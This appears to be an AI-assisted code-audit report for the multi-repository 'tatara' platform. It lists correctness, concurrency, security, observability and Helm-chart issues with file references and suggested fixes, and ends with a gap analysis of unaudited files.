tatara-cli (8)¶

• Operator tool schemas mark task/project as required while Build allows TATARA_TASK/TATARA_PROJECT env fallback - tatara-cli/internal/mcp/tools.go:322-330 [correctness] - Drop the env-fallback identifiers from the schema required arrays (task/project on task_get, project_get, repo_list, task_list, subtask_list, task_update, propose_issue, review_v
• propose_issue schema requires repo but Build also accepts repositoryRef, so a schema-valid arg set can be rejected and vice-versa - tatara-cli/internal/mcp/tools.go:390-403 [correctness] - Pick one input key. Drop repositoryRef from the tool surface (operator DTO mapping already happens in the body), keep a single repo arg, and align required to the actual runt
• Invoke embeds the raw backend response body into the error string returned to the agent - tatara-cli/internal/mcp/tools.go:707-709 [security] - Cap the echoed body (e.g. io.LimitReader / truncate to a few hundred bytes) and, for 401/403, return a generic 'authentication/authorization failed' message rather than the raw bod
• Same *auth.Token pointer shared across the three MCP clients, compounding the refresh race - tatara-cli/internal/cmd/mcp.go:66-121 [concurrency] - Give each Client its own copy of the token (e.g. pass *(&t) copies) or, better, centralize token state in one shared, mutex-guarded token source that all three Clients consult, so
• Client.Do has no request timeout independent of caller ctx; refresh failures surface but no metric/log on a fallible path - tatara-cli/internal/client/client.go:63-131 [observability] - In the MCP server path, wrap Client calls with slog INFO (action, resource_id/path, status, duration_ms) and Prometheus counters/histograms for backend calls and token refreshes; e
• raw --target operator|chat silently ignores --base-url - tatara-cli/internal/cmd/raw.go:39-51 [correctness] - Either pass baseFlag through for all targets (so --base-url overrides whichever target is selected), or add --operator-base-url/--chat-base-url flags to raw mirroring status/mcp, o
• ClientCredentialsToken does not check the discovery response status before decoding - tatara-cli/internal/auth/clientcreds.go:18-31 [error-handling] - After Do, check resp.StatusCode != http.StatusOK and return fmt.Errorf("oidc discovery: status %d", resp.StatusCode) before decoding.
• ClientCredentialsToken uses http.DefaultClient (no timeout) for two network calls - tatara-cli/internal/auth/clientcreds.go:21-38 [correctness] - Use a dedicated &http.Client{Timeout: 30*time.Second} (or accept an *http.Client param like RefreshToken does) instead of http.DefaultClient, for consistency with device_flow.go an

tatara-chat (9)¶

• Poll reads room status before the cursor transaction, returning stale room_status - tatara-chat/internal/chat/store.go:321-384 [concurrency] - Read the room status inside the same tx that holds the FOR UPDATE cursor lock (e.g. SELECT status FROM chat_rooms WHERE id=$1 within tx, after locking the participant row), so the
• Poll issues an extra GetRoom round-trip on every poll (N+1 on the hottest path) - tatara-chat/internal/chat/store.go:321-344 [efficiency] - Fold the room-status read into the participant-lock query (join chat_rooms, or a single locking SELECT returning last_seen_id and room status), dropping the standalone GetRoom. Thi
• Long-poll cancel/timeout returns hasMore/status from the first poll, which can be stale after waiting - tatara-chat/internal/chat/handler.go:470-503 [correctness] - On timeout, do one final store.Poll to return a fresh room_status/hasMore alongside the (still empty) message page, or accept staleness and document it. Given a 30s default wait, a
• Poll cursor UPDATE omits left_at filter, can revive cursor on a concurrently-left participant - tatara-chat/internal/chat/store.go:371-374 [concurrency] - Add AND left_at IS NULL to the cursor-advance UPDATE to match the locking SELECT, keeping the predicate symmetric.
• Unfiltered ListRooms keyset order is not index-backed; full sort under no-status path - tatara-chat/internal/chat/store.go:90-102 [efficiency] - Add a covering index on (created_at DESC, id DESC) for the unfiltered page, or default the API to status=active so the existing composite index serves the common case. At minimum r
• HTTP metric status label uses http.StatusText, producing empty labels for non-standard codes - tatara-chat/internal/httpapi/middleware.go:130-132 [observability] - Use the numeric code, e.g. strconv.Itoa(rec.status), for the status label. Optionally bucket to a class (2xx/4xx/5xx) if cardinality matters, but never feed StatusText which can be
• statusRecorder drops Flusher/Hijacker and does not guard double WriteHeader - tatara-chat/internal/httpapi/middleware.go:53-61 [correctness] - Guard with a wroteHeader bool so only the first WriteHeader is recorded/forwarded, and add a Flush() method delegating to the underlying writer when it implements http.Flusher (and
• Chart bakes cluster-specific ingress className and clusterIssuer into values.yaml - tatara-chat/charts/tatara-chat/values.yaml:38-44 [config-chart] - Default className, clusterIssuer, and oidcIssuer to "" in the chart and supply the concrete values from the tatara-helmfile per-release values files. Template should omit ingressCl
• Readiness DB ping inherits request context with no bounded timeout and is uninstrumented - tatara-chat/cmd/tatara-chat/health.go:12-16 [error-handling] - Wrap with context.WithTimeout (e.g. a few seconds) inside the closure, and on error log at WARN and/or increment a readiness_failures metric so probe flaps are observable.

cross-cutting (17)¶

• lightrag subchart bakes cluster-specific storageClass, secret names, and cnpg/neo4j hostnames into values.yaml - tatara-memory/charts/tatara-memory/charts/lightrag/values.yaml:26-49,66,43,48 [config-chart] - Default storageClass to "" (cluster default) and let the deploying helmfile set rook-ceph. Default the secret-name references to "" or to fullname-derived values, and require the h
• argo-workflows targetUrl hardcodes workflows.szymonrichert.pl across all templates - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:50 [config-chart] - Introduce a values scalar argoUiBaseUrl (default "") and a helper that renders the targetUrl from it; set the real host from the deploying helmfile. Replaces the duplicated literal
• tatara-memory-repo-ingester image.repository defaults to empty string - tatara-memory-repo-ingester/charts/tatara-memory-repo-ingester/values.yaml:4-7 [config-chart] - Default repository to harbor.szymonrichert.pl/containers/tatara-memory-repo-ingester (matching sibling charts), or wrap it with required "image.repository required" in the template
• operator managed-secrets renders Secrets with empty metadata.name when secret name values are unset - tatara-operator/charts/tatara-operator/templates/managed-secrets.yaml:1-54 [correctness] - Gate on both name and value (e.g. if and .Values.anthropicOauthToken .Values.anthropicSecretName) or add required guards so a missing name produces a clear error instead of an empt
• lightrag Deployment sets no pod or container securityContext - tatara-memory/charts/tatara-memory/charts/lightrag/templates/deployment.yaml:23-32 [security] - Add podSecurityContext / containerSecurityContext values and render them; the upstream LightRAG image may write to /app/data (mounted PVC) so readOnlyRootFilesystem may need to sta
• lightrag service.port/serviceMonitor disabled by default leaves no metrics scrape for lightrag - tatara-memory/charts/tatara-memory/charts/lightrag/values.yaml:85-89 [observability] - Confirm upstream LightRAG exposes a Prometheus /metrics endpoint; if so, enable the ServiceMonitor (in the parent values or here) so the backend is scraped. If it does not expose P
• argo helmfile-deploy/tatara-memory-tag inject --set image.tag, bypassing pinned-tag GitOps review - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-helmfile-deploy.yaml:120-124 [tech-debt] - Have the pipeline commit the bumped image.tag (and chart version) into the helmfile repo and run a plain helmfile sync, so the deployed tag matches the reviewed repo state, consist
• kaniko --cache=false forces a cold rebuild every push, contradicting the caching migration - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-container-build.yaml:123-129 [efficiency] - Either enable kaniko layer cache (--cache=true --cache-repo=harbor.szymonrichert.pl/cache) or, if the buildkit-on-ceph migration is authoritative, delete the kaniko container-bui
• TAG derivation assumes a refs/tags/ ref; a non-tag ref produces an invalid image tag / chart version - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-helm-publish.yaml:119-127 [correctness] - Guard at the top of each step: case "$REF" in refs/tags/*) ;; *) echo "not a tag ref: $REF" >&2; exit 1;; esac before stripping, and optionally validate VER against a SemVer rege
• Unknown workflow.status values pass through to GitHub and cause a 422, failing the exit handler - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-github-status.yaml:40-46 [correctness] - Map the default to a known-valid value (*) STATE=error ;;) so any unexpected workflow phase still produces an API-valid status, and consider continueOn failed for the exit-handle
• git fetch failure swallowed with || true; depth-1 clone+fetch of an arbitrary SHA is fragile - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:80-83 [error-handling] - Drop || true and let fetch fail loudly, or clone the specific ref directly: git init; git remote add origin <url>; git fetch --depth=1 origin <sha>; git checkout FETCH_HEAD. Th
• helmfile sync (not apply) deploys without a diff gate from a CI workflow - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-helmfile-deploy.yaml:123-124 [tech-debt] - Run helmfile -e default apply --args "--set image.tag=${TAG_PLAIN}" (apply diffs then syncs) so the deploy diff is captured in the workflow logs, or add an explicit `helmfile dif
• Wrapper bakes a stale/invalid TATARA_CLI_VERSION; Makefile default, Dockerfile default and CI all disagree - tatara-claude-code-wrapper/Dockerfile:6,26 [config-chart] - Pin one canonical, published cli tag and use it everywhere. Either: have build.sh forward --build-arg TATARA_CLI_VERSION=<tag> from a single source of truth, and set the Dockerfi
• Wrapper image build-guard does not assert decline_implementation, letting a stale cli ship without the required refusal tool - tatara-claude-code-wrapper/internal/bootstrap/mcp_flowthrough_test.go:89-90 [correctness] - Add "decline_implementation" to the asserted tool list in mcp_flowthrough_test.go:89, then bump the wrapper cli pin forward to a cli tag that includes it (see wrapper-cli-pin-stale
• Wrapper obs.RequestLogger / obs.Obs / obs.New are dead code (rules 2, 4) - tatara-claude-code-wrapper/internal/obs/obs.go:16-50 [tech-debt] - Either wire obs.RequestLogger/Obs into the wrapper's HTTP middleware (fixing the missing request-obs finding) or delete RequestFields/RequestLogger/Obs/New and keep only NewLogger
• Chat access log records full URL path as 'route', leaking high-cardinality / unbounded values (rule 12) - tatara-chat/internal/httpapi/middleware.go:82-89 [observability] - Align chat with memory: log '"route", routePattern®' and '"path", r.URL.Path' so the 'route' field is the bounded pattern and matches the other services' schema.
• CallbackServer.PollOnce swallows the Task list error with no log or metric (rule 13) - tatara-operator/internal/controller/turncallback.go:202-207 [observability] - Log the error at WARN/ERROR (l.Error(err, "poll backstop list tasks failed")) and optionally bump an operator counter so a failing backstop is visible in Prometheus.

NIT (71)¶

tatara-operator (27)¶

• CallbackServer metric calls have no nil-guard unlike the LifecycleMetrics call sites - tatara-operator/internal/controller/turncallback.go:83, 217-220 - Either guard with if s.Metrics != nil at the CallbackServer call sites (matching the LifecycleMetrics convention), or make the OperatorMet
• Conversation idle-minutes default 60 duplicated as a magic number in two places - tatara-operator/internal/controller/lifecycle.go:773, 811 - Introduce const conversationDefaultIdleMinutes = 60 next to babysitDefaultDeadlineMinutes and use it in both places.
• finishImplement empty-PR arms re-derive scmContext and re-Get the Project repeatedly - tatara-operator/internal/controller/lifecycle.go:1045-1095 - Capture the Project returned by scmContext (proj, _, writer, token, _, scmErr := ...) and pass it to ensurePhaseLabel instead of re-Getting
• proposalBacklog takes an unused []Task parameter (dead code) - tatara-operator/internal/controller/projectscan.go:985-1002 - Drop the unused []tatarav1alpha1.Task parameter from proposalBacklog and the corresponding existing argument at the call site (line 901).
• MaxPerCycle field retained but unused; brainstorm comment admits dead API surface - tatara-operator/internal/controller/projectscan.go:843-845 - Remove MaxPerCycle from BrainstormActivity (or mark it +kubebuilder deprecated and document in MEMORY.md that brainstorm is hard-capped at o
• brainstorm computes primaryRepo and slugs in three separate loops over sortedRepos - tatara-operator/internal/controller/projectscan.go:881-923 - Collapse into a single pass over sortedRepos that resolves each slug once, sets primaryRepo on the first non-empty slug, appends to slugs, a
• Per-item metric counters incremented with .Inc() in a loop instead of .Add(n) - tatara-operator/internal/controller/projectscan.go:653-655,671-673,766-768,816-818 - Add a ScanItemAdd(activity, outcome string, n int) on OperatorMetrics that calls WithLabelValues(...).Add(float64(n)) and replace the loops
• issueScan reactivation pass does a Get+Status.Update per reactivated task with no bound or metric on the SCM-derived idle window - tatara-operator/internal/controller/projectscan.go:773-800 - Add r.Metrics.ScanItem("issueScan","reactivate_error") on the failure branch so reactivation failures are countable alongside the existing r
• linkedIssueNumber and brainstormGoal are thin pass-through wrappers (KISS / dead-ish indirection) - tatara-operator/internal/controller/projectscan.go:25-29,954-958 - Call scm.LinkedIssueNumber directly at the single call site (line 692) and delete linkedIssueNumber. Update the test referencing brainstormG
• proposalBacklog takes an unused []Task parameter - tatara-operator/internal/controller/projectscan.go:985-1002 - Drop the unused parameter from the signature and the call site at line 901; if Task-based backlog counting was intended, implement it, other
• skipped_cap metric is computed before per-item recovery/match skips, mismatching actual picks - tatara-operator/internal/controller/projectscan.go:669-720 - Emit a distinct outcome for each terminal disposition inside the loop (skipped_norepo, create_error) so scanned reconciles exactly with pick
• stampUnreachableSince writes to fresh.Annotations after the nil-check on a different object path - tatara-operator/internal/controller/task_controller.go:524-542 - Optional: hoist the nil-map initialization above the early-return for readability. No behavioural change needed.
• Secret env injection is correct but unvalidated: missing ScmSecretRef silently yields a broken SecretKeyRef - tatara-operator/internal/agent/pod.go:238-241 - Validate that project.Spec.ScmSecretRef and the PodConfig secret names are non-empty before BuildPod/ensurePodAndService spawns the pod, ter
• recordSCM / writeBackIssue dereference r.Metrics without the nil guard used elsewhere - tatara-operator/internal/controller/writeback.go:617-623 - Either drop the defensive if r.Metrics != nil guards in lifecycle.go (Metrics is a required dependency, document it) or add the guard here
• Transient memory health read error returns a zero requeue with the error, dropping the 10s Provisioning requeue and falling back to error backoff only - tatara-operator/internal/controller/project_memory.go:201-212 - Return memoryRequeue alongside the error (or drop the misleading 'requeues with backoff' comment) so the intent matches behavior; the durati
• Every Project reconcile lists ALL Projects and ALL Tasks cluster-wide to recompute gauges; an O(projects + tasks) full list on every single reconcile of every Project - tatara-operator/internal/controller/project_controller.go:90-91 - Recompute the gauges on a periodic timer / dedicated low-frequency reconcile rather than on every per-Project reconcile, or gate the recompu
• Exponential backoff gate is only evaluated on the launch path after ingestDecision want=true; the IngestBackoff condition is set/cleared in-memory and persisted via the launch status update, but a want=false cron pass never clears a stale IngestBackoff condition - tatara-operator/internal/controller/repository_controller.go:158-205 - Clear a stale IngestBackoff condition (and IngestFailureCount semantics) once a repo is no longer in a failing-and-pending state, e.g. in th
• GitHub GetPRState reads mergeable from the cached PR object without forcing a recompute, returning stale data - tatara-operator/internal/scm/github.go:299-302 - If Mergeable is ever used, poll until mergeable_state != "unknown" or accept it as advisory only. Otherwise drop the field (see gh-pulls-mer
• GitLab GetCommitCIStatus interpolates the sha into the URL path without escaping - tatara-operator/internal/scm/gitlab.go:550-558 - url.PathEscape(sha) for consistency, or document that only hex SHAs are accepted.
• deriveGHCIStatus / check-runs decode struct is duplicated across GetPRState and GetCommitCIStatus - tatara-operator/internal/scm/github.go:303-341 - Introduce a named type ghCheckRun{Status,Conclusion string} used by both decode sites and by deriveGHCIStatus' signature; better, have GetPR
• GitLab Comment routes on strings.Contains(issueRef, "!") which misfires if a project path itself contains '!' - tatara-operator/internal/scm/gitlab.go:236-250 - Route on the separator that appears last (compare LastIndex(ref,"!") vs LastIndex(ref,"#")) so the routing predicate matches the parser's La
• ListIssueComments sorts client-side though both APIs already return comments oldest-first - tatara-operator/internal/scm/github_scan.go:162-174 - Keep the sort as a defensive guard but fix pagination first; document that the sort only guarantees order within the fetched set.
• action metric label is provider-action passthrough; GitLab default arm forwards raw action - tatara-operator/internal/scm/gitlab.go:190-192 - Normalize unrecognized actions to a fixed 'other' for the metric label (the webhook already treats unknown actions as ignored), keeping the
• writeJSON discards the encoder error after WriteHeader, masking truncated/failed responses - tatara-operator/internal/restapi/handlers.go:22-26 - Capture the encode error and log it at ERROR with slog (it is too late to change the status code once WriteHeader is called). Optionally pre
• Suggestion.Line is a non-pointer int with no optional/range marker; line 0 is ambiguous - tatara-operator/api/v1alpha1/task_types.go:20-25 - Either mark Line required with +kubebuilder:validation:Minimum=1, or make it *int (+optional) so unset is distinguishable from line 0, a
• MemorySpec defaults applied only in Go builders, not via kubebuilder, so apiserver-visible spec omits them (documented but fragile) - tatara-operator/api/v1alpha1/project_types.go:8-19 - Move the defaults onto the fields as +kubebuilder:default=1 / ="10Gi" so they are declared once, visible in the persisted object, and th
• Reconcile concurrency left at controller-runtime default 1 with no explicit MaxConcurrentReconciles - tatara-operator/cmd/manager/wire.go:109-156 - Set MaxConcurrentReconciles: 1 explicitly in each reconciler's SetupWithManager (via ctrl.NewControllerManagedBy(mgr).WithOptions(controller

tatara-memory (11)¶

• code_entities.cohesion column is added by migration but never written or read (dead schema) - tatara-memory/internal/codegraph/migrations/0003_phase0_graphify.sql:9-18 - Drop the cohesion column from code_entities (it belongs only on code_communities), or document in MEMORY.md why it is reserved. Given it is
• marshalProps and scanProps silently swallow JSON errors, masking property corruption - tatara-memory/internal/codegraph/pgstore.go:31-51 - For map[string]string marshal cannot fail, so per hard rule (no error handling for impossible cases) drop the err branch in marshalProps and
• WriteError/WriteJSON ignore the Encode error after committing the status code - tatara-memory/internal/httpapi/errors.go:14-25 - At minimum log the encode error at WARN with request_id; for WriteJSON, marshal to a buffer first and only WriteHeader(200) if marshal succe
• RequestID ignores crypto/rand.Read error, can emit an all-zero request ID - tatara-memory/internal/httpapi/middleware.go:43-47 - Check the error and fall back to a time/atomic-counter-based ID, or use a uuid library; do not silently emit a zero ID.
• min_confidence parsing duplicated between confidenceFilter and handleRelated (DRY) - tatara-memory/internal/httpapi/codegraph.go:60-82,358-366 - Extract a single parseMinConfidence(w, r) (float64, bool) helper and call it from both confidenceFilter and handleRelated.
• handleSemanticMisses accepts an empty/huge files list with no bound or non-empty check - tatara-memory/internal/httpapi/codegraph.go:416-442 - Reject an empty Files list with 400 (or document the empty-is-noop contract), cap the list length, and wrap the body in MaxBytesReader.
• CreateMemory generates a mem_ id that is immediately discarded - tatara-memory/internal/memory/service.go:91-102 - Delete the newID("mem") block (and newID itself if it has no other caller). The id is always the upstream track_id; generating a throwaway i
• FromDocStatus silently swallows a malformed CreatedAt into the zero time - tatara-memory/internal/memory/translate.go:20-21 - Either tolerate the empty string explicitly (if d.CreatedAt == "" leave zero) and on a non-empty-but-unparseable value log at WARN with the
• EdgeFromGraphEdge keywords->Relation fallback is effectively unreachable / fragile - tatara-memory/internal/memory/translate.go:115-135 - Pick one canonical source for Relation that matches the create path. Since CreateEdge writes relation_data["keywords"], read keywords as the
• json.Marshal return errors discarded in CreateJob/UpdateJob/IncrementJobProgress - tatara-memory/internal/ingest/pgstore.go:32-51 - Leave as-is if confirmed unmarshalable (it is), but drop the redundant if it.Metadata == nil { metaJSON = []byte("{}") } since Marshal(nil m
• cohesion does an O(n^2) HasEdgeBetween scan per community - tatara-memory/internal/analytics/compute.go:117-132 - Count internal edges by iterating each member's incident edges (g.From/Edges) and checking the neighbor's community membership, which is O(s

tatara-memory-repo-ingester (12)¶

• Docs frontmatter splitter only matches LF line endings; CRLF docs lose provenance - tatara-memory-repo-ingester/internal/analyze/docs.go:76-92 - Normalize line endings before splitting (e.g. strings.ReplaceAll(content, "\r\n", "\n")) or match both "---\n" and "---\r\n" / "\n---\n" and
• Go fallback re-filters pkgFiles by scope twice (already filtered by caller) - tatara-memory-repo-ingester/internal/analyze/golang_fallback.go:41-59 - Drop the redundant scope re-check in fallbackAnalyzeGoPackage (or drop the pre-filter in the caller and keep one), keeping a single source o
• noopHelmFuncMap (60+ entry map) rebuilt for every template parse - tatara-memory-repo-ingester/internal/analyze/helm.go:182-403 - Build the FuncMap once (package-level var via sync.OnceValue or a package init) and reuse it across processTemplate calls.
• jsExternalImports re-walks the root children already iterated in processFile - tatara-memory-repo-ingester/internal/analyze/javascript.go:358-463 - Collect external-import specifiers inside the single top-level loop (in the import_statement case) instead of a separate jsExternalImports p
• chartFiles map iteration makes entity/edge emission order nondeterministic - tatara-memory-repo-ingester/internal/analyze/helm.go:54-64 - Collect chart roots into a slice and sort.Strings before iterating; sort flattenValues output keys before emitting value entities. Other ana
• requires SymbolRow emission iterates TypesInfo.Uses map -> nondeterministic order - tatara-memory-repo-ingester/internal/analyze/golang.go:272-308 - If reproducible output matters, collect the (ident,obj) pairs, sort by ident.Pos(), then emit. Otherwise document that AST-push row order is
• enclosingDef skips any def with the same symbol as the reference, dropping self-recursive call edges - tatara-memory-repo-ingester/internal/scip/scip.go:209-212 - Distinguish 'the def's own name-token occurrence' (same symbol AND same range as the def occurrence) from 'a reference to the same symbol el
• doc.RelativePath is trusted unvalidated as FilePath/SrcFile and as a fileSet key; a nil/empty or duplicate path is silently mishandled - tatara-memory-repo-ingester/internal/scip/scip.go:37-41 - Skip documents with empty RelativePath (or return an error), and accept that duplicate paths across documents are merged by the (repo,id) an
• BuildPrompt relies on strings.NewReplacer ordering to avoid FILE_LIST/CHUNK_NUM/TOTAL_CHUNKS overlap, but model-supplied FileList containing a placeholder token would be substituted - tatara-memory-repo-ingester/internal/semantic/prompt.go:25-32 - Either keep as-is (it works) and fix the comment to state NewReplacer uses longest-leftmost matching so order is not actually required, or u
• options.getenv is never wired in production; field set only by tests - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:40-41 - Either pass getenv as an explicit parameter to run/runSemantic (injected from realMain as os.Getenv), or document that the field is test-onl
• do() JSON-decodes the response but does not drain trailing bytes before close - tatara-memory-repo-ingester/internal/push/push.go:102-112 - After decode (and on the no-out path), io.Copy(io.Discard, resp.Body) before the deferred Close to allow connection reuse.
• headCommit and contentSHA swallow git/IO errors and return empty string - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:153-159 - slog.Warn on the rev-parse failure with repoRoot and error so an unpinned ingest is observable; consider returning the error to the caller s

tatara-claude-code-wrapper (5)¶

• Tailer Follow goroutine and bootWait/readPTY goroutines have no shutdown join; SIGKILL path may leak goroutines on repeated relaunch - tatara-claude-code-wrapper/internal/session/session.go:243-244, 412-413, 603-607 - Track lifecycle goroutines in a sync.WaitGroup and have Shutdown wait for readPTY/watch/Follow to drain after cancel/Close, with a bounded t
• Submit failure path logs identical 'write pty' store-error message for both paste and submit failures, losing the failing stage - tatara-claude-code-wrapper/internal/session/session.go:536-544 - Use distinct messages ('write pty paste: %v' / 'write pty submit: %v') in store.Fail to match the returned errors, so the stored turn error
• namespacePath returns a single segment with no owner for malformed URLs - tatara-claude-code-wrapper/internal/bootstrap/namespace.go:39-46 - After computing out, require at least owner/repo shape (>=2 segments) for repos that are meant to be primary; reject or log a single-segment
• thinking block silently falls back to block.Text, masking a parse assumption - tatara-claude-code-wrapper/internal/transcript/tailer.go:250-264 - Drop the fallback and log block.Thinking directly; if you want robustness against an empty thinking field, emit a raw event instead so an un
• turnID() callback taken per content block re-locks the manager mutex on a hot path - tatara-claude-code-wrapper/internal/transcript/tailer.go:216-220 - Capture turnID once at the top of processLine and reuse it in every branch (including the top-level malformed-line branch), so currentTurnID

tatara-cli (7)¶

• Server.Run ignores the passed context, so signal/cancellation never reaches the stdio server - tatara-cli/internal/mcp/server.go:88-90 - Either accept and honor the context via mcp-go's context-aware stdio API (e.g. build a StdioServer and call its context-aware Listen with th
• subtask_update validates only argString("subtask") with no env fallback while sibling tools use argOrEnv - tatara-cli/internal/mcp/tools.go:375-389 - Leave behavior as-is but add a one-line comment noting there is intentionally no env fallback for subtask (no TATARA_SUBTASK is injected), s
• clientCredsConfigured duplicates AccessToken's env-var contract (DRY) - tatara-cli/internal/cmd/status.go:88-94 - Expose an exported helper in internal/auth (e.g. auth.ClientCredsConfigured()) and call it from status.go so the env-var set is defined once
• mcp-config force-overwrite path does not validate existing args type; non-string args silently replaced - tatara-cli/internal/cmd/mcp_config.go:40-49 - When command matches, merge into the existing map (preserve unknown keys, set only command/args) rather than replacing the whole entry; or d
• raw --data @file leaves fd open until command end (minor) and stdin '-' is not validated against missing pipe - tatara-cli/internal/cmd/raw.go:71-82 - For '-', if stdin is a terminal (no data) either error fast or read with a deadline; otherwise it hangs silently. Low priority but worth a g
• DeviceFlow.Poll checks deadline before sleeping, allowing one final exchange after expiry has passed - tatara-cli/internal/auth/device_flow.go:74-97 - Re-check the deadline at the top of the loop (or right after the sleep, before exchange) so an expired code yields the 'device code expired'
• expiryDesc reports a token expiring exactly now as 'expired 0s ago' - tatara-cli/internal/cmd/status.go:80-86 - Use >= 0 for the valid branch, or special-case d == 0 as 'expiring now'. Cosmetic.

tatara-chat (5)¶

• Waits metric undercounts: non-long-poll polls and immediate-empty long-polls are never labeled - tatara-chat/internal/chat/handler.go:470-503 - Either label every poll outcome (add a 'nowait' / 'empty-immediate' outcome on the wait<=0 and immediate-empty-then-blocked paths) or docume
• RowsAffected error discarded in three mutating store paths - tatara-chat/internal/chat/store.go:183-186 - Capture and wrap the error: n, err := tag.RowsAffected(); if err != nil { return fmt.Errorf("rows affected: %w", err) } in all three sites
• rows.Err() returned unwrapped in ListRooms, ListParticipants, and Log - tatara-chat/internal/chat/store.go:116-118 - Wrap consistently: return nil, "", fmt.Errorf("list rooms rows: %w", err), and the analogous wraps in ListParticipants and Log.
• Sweeper continues to Purge and CountActiveRooms after a failed archive without rechecking ctx - tatara-chat/internal/chat/sweeper.go:64-94 - Suppress WARN for context.Canceled/DeadlineExceeded (errors.Is checks) in the purge and count branches, or re-check ctx.Err() between steps
• System lifecycle messages bypass the chat_messages_total metric - tatara-chat/internal/chat/store.go:187-191 - Increment metrics.Messages.WithLabelValues("system","global") for each inserted closure notice (return the count from the store paths and le

cross-cutting (4)¶

• harbor registry host and robot username baked into chart values.yaml (cluster-specific) - tatara-argo-workflows/charts/tatara-argo-workflows/values.yaml:3-8 - Leave these keys empty (or omit defaults) in the chart values.yaml and supply harbor.registry / harbor.robotUsername from the infra helmfile
• No imagePullPolicy on containers using mutable image references - tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:88-99 - Pin golang to an exact patch (golang:1.25.x) in values.yaml to match hard rule 1 (pin the exact minor/patch), or set imagePullPolicy: Always
• memory/chat/wrapper startup INFO logs omit the structured 'action' field (rule 12) - tatara-memory/cmd/tatara-memory/main.go:40-40 - Add a consistent slog.String("action", "service_start") / "service_shutdown" field to the startup/shutdown logs in memory, chat, and wrapper
• Ingester sends JSON logs to stderr while every other service uses stdout (rule 11 consistency) - tatara-memory-repo-ingester/cmd/tatara-ingest/main.go:20-20 - Write the ingester's JSON logs to os.Stdout to match the rest of the platform (slog.NewJSONHandler(os.Stdout, nil)), reserving stderr for th

Coverage critic (areas to still audit)¶

I now have everything needed to produce the gap analysis. The cmd/tatara-ingest/run.go is the top-level orchestration (errgroup pipeline wiring walk -> analyze -> semantic/llm -> push) and llm/openai.go is the LLM client used by the semantic stage. Neither is squarely owned by ing-walk-push (which is walk+push) or ing-scip-semantic (scip+semantic packages).

Let me do a final consolidation pass to confirm the operator auth package and per-repo auth packages are not split out into their own unit (they appear only inside crosscut/cmd-auth units), and verify nothing in the operator's internal/config is missed.

I have sufficient data. Here is the completeness analysis.

Coverage gap analysis: files no audit unit clearly covered¶

I enumerated every non-test .go file (excluding *_test.go, vendor/, .worktrees/, testdata/) plus chart/CI files across all seven repos, then mapped each to the 33 audit units by package/concern. Below are the files and concerns that fall outside any unit's clear scope, grouped by repo.

tatara-operator¶

• /Users/szymonri/Documents/tatara/tatara-operator/internal/controller/reaper.go — orphan wrapper-Pod/Service GC (ReapOrphans/orphanReason/reapWrapper); bound to CallbackServer but a distinct garbage-collection algorithm not in op-task-turnloop's stated turn-loop scope. Audit the orphan-detection predicate (task-uid label disagreement, transient-error safety) and reap idempotency.
• /Users/szymonri/Documents/tatara/tatara-operator/internal/pushmetrics/receiver.go — TTL-keyed push-metrics receiver for short-lived agent pods (not Pushgateway). Only x-obs-sweep could claim it; if that unit only swept obs/+metrics packages this server's TTL aging, per-run keying, and re-exposure logic is unaudited.
• /Users/szymonri/Documents/tatara/tatara-operator/cmd/manager/wire.go — full DI/wiring of every subsystem (agent, memory, ingest, restapi, scm, webhook, pushmetrics, controllers). If op-crosscut only covered config/auth/obs, the actual composition root (token sources, audience wiring, server mux assembly) is unaudited.
• /Users/szymonri/Documents/tatara/tatara-operator/cmd/manager/main.go and /Users/szymonri/Documents/tatara/tatara-operator/cmd/manager/logr.go — manager bootstrap, signal handling, slog->logr bridge; verify only if op-crosscut explicitly read cmd/manager.
• /Users/szymonri/Documents/tatara/tatara-operator/internal/agent/wrapper.go — shared DeleteWrapper Pod+Service teardown used by both controller and webhook; sits between op-task-turnloop and op-webhook, owned by neither by name. Audit idempotent-delete and shared-receiver correctness.

tatara-memory¶

• /Users/szymonri/Documents/tatara/tatara-memory/internal/analytics/compute.go — the actual gonum graph-theoretic algorithm (community detection, cohesion, degree, betweenness). It is a separate top-level package from codegraph; mem-codegraph read the codegraph package, but the load-bearing math lives here and is only wrapped by codegraph/analytics_store.go. Audit numerical correctness, determinism, and edge-list-to-graph mapping.

tatara-memory-repo-ingester¶

• /Users/szymonri/Documents/tatara/tatara-memory-repo-ingester/cmd/tatara-ingest/run.go — top-level ingest pipeline orchestration (errgroup wiring walk -> analyze -> semantic/llm -> push, clone, reconcile). Not owned by ing-walk-push (walk+push pkgs) or ing-scip-semantic (scip+semantic pkgs). Audit concurrency/errgroup error propagation and stage sequencing.
• /Users/szymonri/Documents/tatara/tatara-memory-repo-ingester/cmd/tatara-ingest/main.go — entrypoint/flag+config bootstrap; uncovered unless ing-walk-push read cmd/.
• /Users/szymonri/Documents/tatara/tatara-memory-repo-ingester/internal/llm/openai.go — OpenAI client (JSON-mode, retry-once) used by the semantic stage; ing-scip-semantic covered the semantic package but this llm package is separate. Audit retry/transient-error handling and JSON-mode contract.
• /Users/szymonri/Documents/tatara/tatara-memory-repo-ingester/internal/config/config.go — env-driven config loader; no ingester unit names config.
• /Users/szymonri/Documents/tatara/tatara-memory-repo-ingester/internal/analyze/golang_fallback.go — tree-sitter Go fallback analyzer (used when SCIP/semantic path unavailable). ing-analyze-lang may cover golang.go; confirm the fallback path was read, as it is a distinct extraction implementation.

tatara-claude-code-wrapper¶

• /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/cmd/cc-stop-hook/main.go, hook.go, transcript.go — the entire Claude Stop hook binary (separate executable from the wrapper). wrap-transcript covers internal/transcript, but this command's own transcript parsing and hook protocol is a distinct binary; confirm it was audited.
• /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/internal/turn/turn.go and /Users/szymonri/Documents/tatara/tatara-claude-code-wrapper/internal/turn/store.go — per-turn record model + thread-safe store. Central to session turn tracking but not named by wrap-session/bootstrap/transcript. Audit concurrency/locking and turn-state transitions.
